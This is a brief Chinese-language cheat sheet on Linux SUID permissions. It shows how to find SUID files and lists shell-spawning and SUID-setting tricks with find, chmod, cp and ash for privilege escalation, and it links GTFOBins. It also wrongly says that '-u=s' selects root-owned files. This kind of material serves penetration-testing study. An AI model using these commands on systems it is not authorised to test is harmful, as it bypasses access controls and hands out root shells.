SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
查找suid文件
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误) >表示重定向 / dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
利用方式:
find命令
sudo find . -exec /bin/sh \; -quit
chmod命令
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
ash,linux shell
sudo ash
cp命令
sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
更多suid利用方式:https://gtfobins.github.io/gtfobins